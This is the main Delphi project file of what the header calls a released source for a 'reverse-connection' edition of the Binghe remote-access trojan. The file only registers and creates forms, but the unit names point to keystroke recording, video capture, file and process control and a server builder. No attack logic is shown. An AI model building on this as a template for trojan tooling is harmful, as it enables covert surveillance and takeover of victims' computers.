project1.dpr

冰河反弹版之独孤夕客专版 今天我决定把这个版本的冰河反弹版程序源码公布

program Project1;

uses
  Forms,
  messages,
  windows,
  Unit1 in 'Unit1.pas' {MainForm},
  Unit2 in 'Unit2.pas' {ShowImageForm},
  FileControl in 'FileControl.pas' {FileForm},
  Process in 'Process.pas' {ProcessForm},
  WindowM in 'WindowM.pas' {WindowForm},
  Keyrecord in 'Keyrecord.pas' {KeyForm},
  VideoUnit in 'VideoUnit.pas' {VideoForm},
  Autoconnect in 'Autoconnect.pas' {AutoForm},
  CreateDir in 'CreateDir.pas' {CreateDirForm},
  OpenModeUnit in 'OpenModeUnit.pas' {OpenModeForm},
  ProgressUnit in 'ProgressUnit.pas' {ProgressForm},
  Splash in 'Splash.pas' {SplashForm},
  CreateServer in 'CreateServer.pas' {CtreatSForm},
  About in 'About.pas' {AboutForm};

{$R *.res}

begin
  Application.Initialize;
  SplashForm:=TSplashForm.Create(Application);
  SplashForm.Show;
  SplashForm.Update;
  Application.CreateForm(TMainForm, MainForm);
  Application.CreateForm(TAboutForm, AboutForm);
  Application.CreateForm(TShowImageForm, ShowImageForm);
  Application.CreateForm(TFileForm, FileForm);
  Application.CreateForm(TProcessForm, ProcessForm);
  Application.CreateForm(TWindowForm, WindowForm);
  Application.CreateForm(TKeyForm, KeyForm);
  Application.CreateForm(TVideoForm, VideoForm);
  Application.CreateForm(TAutoForm, AutoForm);
  Application.CreateForm(TCreateDirForm, CreateDirForm);
  Application.CreateForm(TOpenModeForm, OpenModeForm);
  Application.CreateForm(TProgressForm, ProgressForm);
  Application.CreateForm(TCtreatSForm, CtreatSForm);
  SplashForm.Update;
  SplashForm.Free;
  Application.Run;
end.